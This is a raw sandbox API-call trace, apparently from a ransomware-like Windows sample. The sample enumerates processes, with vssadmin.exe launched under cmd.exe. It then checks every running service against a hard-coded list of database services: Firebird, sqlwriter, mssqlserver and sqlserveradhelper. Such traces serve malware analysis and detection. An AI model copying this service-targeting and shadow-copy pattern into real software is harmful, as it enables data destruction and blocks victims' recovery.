lstrlenW (lpString="raises_softball_tramadol.exe") returned 28 [0221.514] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="indicescancellation.exe")) returned 1 [0221.515] lstrlenW (lpString="indicescancellation.exe") returned 23 [0221.515] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="keeping-guys-essence.exe")) returned 1 [0221.516] lstrlenW (lpString="keeping-guys-essence.exe") returned 24 [0221.516] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="desk.exe")) returned 1 [0221.526] lstrlenW (lpString="desk.exe") returned 8 [0221.526] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.526] lstrlenW (lpString="svchost.exe") returned 11 [0221.526] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0221.527] lstrlenW (lpString="sppsvc.exe") returned 10 [0221.527] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.527] lstrlenW (lpString="svchost.exe") returned 11 [0221.528] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0221.528] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0221.528] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x960, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0221.530] lstrlenW (lpString="winhost.exe") returned 11 [0221.530] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x67c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0221.531] lstrlenW (lpString="cmd.exe") returned 7 [0221.531] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x740, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0221.532] lstrlenW (lpString="conhost.exe") returned 11 [0221.532] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x124, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0221.533] lstrlenW (lpString="vssadmin.exe") returned 12 [0221.533] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0221.533] lstrlenW (lpString="VSSVC.exe") returned 9 [0221.533] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.534] lstrlenW (lpString="svchost.exe") returned 11 [0221.534] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0221.535] CloseHandle (hObject=0x218) returned 1 [0221.535] Sleep (dwMilliseconds=0x1f4) [0222.097] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x640018 [0222.097] EnumServicesStatusExW (in: hSCManager=0x640018, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 0 [0222.097] GetLastError () returned 0xea [0222.098] EnumServicesStatusExW (in: hSCManager=0x640018, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3fc1078, cbBufSize=0x142e, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3fc1078, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 1 [0222.098] CloseServiceHandle (hSCObject=0x640018) returned 1 [0222.098] lstrlenW (lpString="Appinfo") returned 7 [0222.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0222.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0222.098] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0222.098] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0222.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0222.098] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0222.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0222.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0222.098] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0222.098] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0222.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0222.098] lstrlenW (lpString="AudioSrv") returned 8 [0222.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0222.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0222.098] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0222.098] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0222.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0222.098] lstrlenW (lpString="BFE") returned 3 [0222.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0222.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0222.098] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0222.098] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0222.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0222.098] lstrlenW (lpString="CryptSvc") returned 8 [0222.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0222.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0222.099] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0222.099] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0222.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0222.099] lstrlenW (lpString="CscService") returned 10 [0222.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0222.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0222.099] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0222.099] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0222.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0222.099] lstrlenW (lpString="DcomLaunch") returned 10 [0222.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0222.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0222.099] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0222.099] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0222.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0222.099] lstrlenW (lpString="Dhcp") returned 4 [0222.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0222.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0222.099] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0222.099] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0222.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0222.099] lstrlenW (lpString="Dnscache") returned 8 [0222.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0222.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0222.099] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0222.099] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0222.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0222.099] lstrlenW (lpString="DPS") returned 3 [0222.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0222.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0222.099] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0222.099] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0222.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0222.099] lstrlenW (lpString="eventlog") returned 8 [0222.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0222.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0222.099] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0222.099] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0222.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0222.099] lstrlenW (lpString="EventSystem") returned 11 [0222.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0222.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0222.099] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0222.099] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0222.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0222.099] lstrlenW (lpString="FontCache") returned 9 [0222.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0222.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0222.100] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0222.100] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0222.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0222.100] lstrlenW (lpString="gpsvc") returned 5 [0222.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0222.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0222.100] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0222.100] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0222.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0222.100] lstrlenW (lpString="iphlpsvc") returned 8 [0222.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0222.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0222.100] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0222.100] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0222.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0222.100] lstrlenW (lpString="LanmanServer") returned 12 [0222.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0222.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0222.100] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0222.100] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0222.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0222.100] lstrlenW (lpString="LanmanWorkstation") returned 17 [0222.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0222.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0222.100] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0222.100] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0222.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0222.100] lstrlenW (lpString="lmhosts") returned 7 [0222.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0222.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0222.100] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0222.100] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0222.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0222.100] lstrlenW (lpString="MMCSS") returned 5 [0222.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0222.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0222.100] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0222.100] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0222.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0222.100] lstrlenW (lpString="MpsSvc") returned 6 [0222.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0222.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0222.100] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0222.100] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0222.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0222.100] lstrlenW (lpString="Netman") returned 6 [0222.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0222.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0222.101] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0222.101] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0222.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0222.101] lstrlenW (lpString="netprofm") returned 8 [0222.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0222.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0222.101] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0222.101] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0222.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0222.101] lstrlenW (lpString="NlaSvc") returned 6 [0222.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0222.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0222.101] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0222.101] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0222.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0222.101] lstrlenW (lpString="nsi") returned 3 [0222.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0222.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0222.101] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0222.101] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0222.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0222.101] lstrlenW (lpString="PcaSvc") returned 6 [0222.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0222.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0222.101] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0222.101] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0222.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0222.101] lstrlenW (lpString="PlugPlay") returned 8 [0222.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0222.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0222.101] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0222.101] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0222.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0222.101] lstrlenW (lpString="Power") returned 5 [0222.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0222.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0222.101] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0222.101] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0222.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0222.101] lstrlenW (lpString="ProfSvc") returned 7 [0222.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0222.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0222.101] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0222.101] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0222.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0222.101] lstrlenW (lpString="RpcEptMapper") returned 12 [0222.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0222.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0222.102] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0222.102] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0222.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0222.102] lstrlenW (lpString="RpcSs") returned 5 [0222.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0222.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0222.102] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0222.102] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0222.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0222.102] lstrlenW (lpString="SamSs") returned 5 [0222.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0222.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0222.102] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0222.102] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0222.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0222.102] lstrlenW (lpString="Schedule") returned 8 [0222.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0222.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0222.102] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0222.102] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0222.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0222.102] lstrlenW (lpString="SENS") returned 4 [0222.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0222.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0222.102] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0222.102] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0222.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0222.102] lstrlenW (lpString="ShellHWDetection") returned 16 [0222.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0222.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0222.102] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0222.102] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0222.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0222.102] lstrlenW (lpString="Spooler") returned 7 [0222.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0222.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0222.102] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0222.102] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0222.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0222.102] lstrlenW (lpString="sppsvc") returned 6 [0222.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0222.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0222.102] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0222.102] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0222.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0222.102] lstrlenW (lpString="swprv") returned 5 [0222.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0222.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0222.102] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0222.103] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0222.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0222.103] lstrlenW (lpString="SysMain") returned 7 [0222.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0222.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0222.103] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0222.114] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0222.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0222.114] lstrlenW (lpString="Themes") returned 6 [0222.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0222.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0222.114] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0222.114] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0222.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0222.114] lstrlenW (lpString="TrkWks") returned 6 [0222.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0222.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0222.114] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0222.114] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0222.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0222.114] lstrlenW (lpString="UxSms") returned 5 [0222.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0222.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0222.114] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0222.114] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0222.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0222.114] lstrlenW (lpString="VSS") returned 3 [0222.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0222.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0222.114] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0222.114] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0222.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0222.114] lstrlenW (lpString="WdiServiceHost") returned 14 [0222.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0222.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0222.114] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0222.114] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0222.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0222.114] lstrlenW (lpString="WdiSystemHost") returned 13 [0222.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0222.114] 